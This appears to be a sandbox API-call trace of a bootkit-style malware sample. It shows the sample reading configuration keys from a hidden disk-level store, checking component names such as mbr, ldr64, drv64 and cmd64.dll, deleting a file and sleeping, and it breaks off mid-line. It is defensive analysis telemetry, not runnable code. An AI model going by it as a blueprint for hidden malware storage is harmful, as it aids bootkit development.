[0128.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.230] KeLeaveCriticalRegion () [0128.230] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.230] KeEnterCriticalRegion () [0128.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.230] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.230] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.230] KeLeaveCriticalRegion () [0128.230] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.230] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.230] KeEnterCriticalRegion () [0128.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.230] ExFreePoolWithTag (P=0xfffffa80038d0c00, Tag=0x0) [0128.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.230] KeLeaveCriticalRegion () [0128.231] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.231] ReleaseMutex (hMutex=0xf0) returned 1 [0128.231] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.231] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.231] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.231] KeEnterCriticalRegion () [0128.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.231] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.231] IdePortDispatch () returned 0x103 [0128.231] KeWaitForMutexObject () returned 0x0 [0128.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.233] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.233] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.233] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.233] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.233] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfeab0 [0128.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.233] KeLeaveCriticalRegion () [0128.233] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.233] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.233] KeEnterCriticalRegion () [0128.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.233] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.233] KeLeaveCriticalRegion () [0128.233] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.233] KeEnterCriticalRegion () [0128.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.233] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.233] IdePortDispatch () returned 0x103 [0128.233] KeWaitForMutexObject () returned 0x0 [0128.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.233] KeLeaveCriticalRegion () [0128.234] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.234] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.234] KeEnterCriticalRegion () [0128.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.234] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003453000 [0128.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.234] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.234] IdePortDispatch () returned 0x103 [0128.234] KeWaitForMutexObject () returned 0x0 [0128.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.234] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.234] IdePortDispatch () returned 0x103 [0128.234] KeWaitForMutexObject () returned 0x0 [0128.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.235] KeLeaveCriticalRegion () [0128.235] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.235] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.235] KeEnterCriticalRegion () [0128.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.235] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.235] KeLeaveCriticalRegion () [0128.235] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.235] KeEnterCriticalRegion () [0128.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.235] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.235] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.236] KeLeaveCriticalRegion () [0128.236] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.236] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.236] KeEnterCriticalRegion () [0128.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.236] ExFreePoolWithTag (P=0xfffffa8003bfeab0, Tag=0x0) [0128.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.236] KeLeaveCriticalRegion () [0128.236] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.236] ReleaseMutex (hMutex=0xf0) returned 1 [0128.236] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.244] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.244] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.244] KeEnterCriticalRegion () [0128.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.244] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.244] IdePortDispatch () returned 0x103 [0128.244] KeWaitForMutexObject () returned 0x0 [0128.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.244] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.244] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.244] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.244] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.244] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfdc70 [0128.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.244] KeLeaveCriticalRegion () [0128.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.245] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.245] KeEnterCriticalRegion () [0128.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.245] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.245] KeLeaveCriticalRegion () [0128.245] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.245] KeEnterCriticalRegion () [0128.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.245] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.245] IdePortDispatch () returned 0x103 [0128.245] KeWaitForMutexObject () returned 0x0 [0128.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.245] KeLeaveCriticalRegion () [0128.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.245] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.245] KeEnterCriticalRegion () [0128.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.245] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003456000 [0128.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.246] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.246] IdePortDispatch () returned 0x103 [0128.246] KeWaitForMutexObject () returned 0x0 [0128.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.246] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.246] IdePortDispatch () returned 0x103 [0128.246] KeWaitForMutexObject () returned 0x0 [0128.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.246] KeLeaveCriticalRegion () [0128.246] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.247] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.247] KeEnterCriticalRegion () [0128.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.247] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.247] KeLeaveCriticalRegion () [0128.247] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.247] KeEnterCriticalRegion () [0128.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.247] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.247] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.247] KeLeaveCriticalRegion () [0128.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.247] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.247] KeEnterCriticalRegion () [0128.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.247] ExFreePoolWithTag (P=0xfffffa8003bfdc70, Tag=0x0) [0128.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.247] KeLeaveCriticalRegion () [0128.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.248] ReleaseMutex (hMutex=0xf0) returned 1 [0128.248] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.248] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.248] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.248] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.248] KeEnterCriticalRegion () [0128.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.248] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.248] IdePortDispatch () returned 0x103 [0128.248] KeWaitForMutexObject () returned 0x0 [0128.249] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.249] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.249] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.249] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.249] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.249] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.249] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.249] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.249] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.249] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.249] KeLeaveCriticalRegion () [0128.249] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.250] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.250] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.250] KeEnterCriticalRegion () [0128.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.250] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.250] IdePortDispatch () returned 0x103 [0128.250] KeWaitForMutexObject () returned 0x0 [0128.250] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.250] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.250] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.250] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.250] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.250] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.250] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.250] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.250] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.250] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.250] KeLeaveCriticalRegion () [0128.250] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.251] ReleaseMutex (hMutex=0x100) returned 1 [0128.251] Sleep (dwMilliseconds=0x2bf20) [0128.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fa58110, dwHighDateTime=0x1d24fa4)) [0128.259] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.259] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.259] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.259] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.259] KeEnterCriticalRegion () [0128.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.259] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.259] IdePortDispatch () returned 0x103 [0128.259] KeWaitForMutexObject () returned 0x0 [0128.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.260] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.260] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.260] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.260] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.260] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038cec40 [0128.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.260] KeLeaveCriticalRegion () [0128.260] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.260] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.260] KeEnterCriticalRegion () [0128.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.260] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.260] KeLeaveCriticalRegion () [0128.260] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.260] KeEnterCriticalRegion () [0128.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, 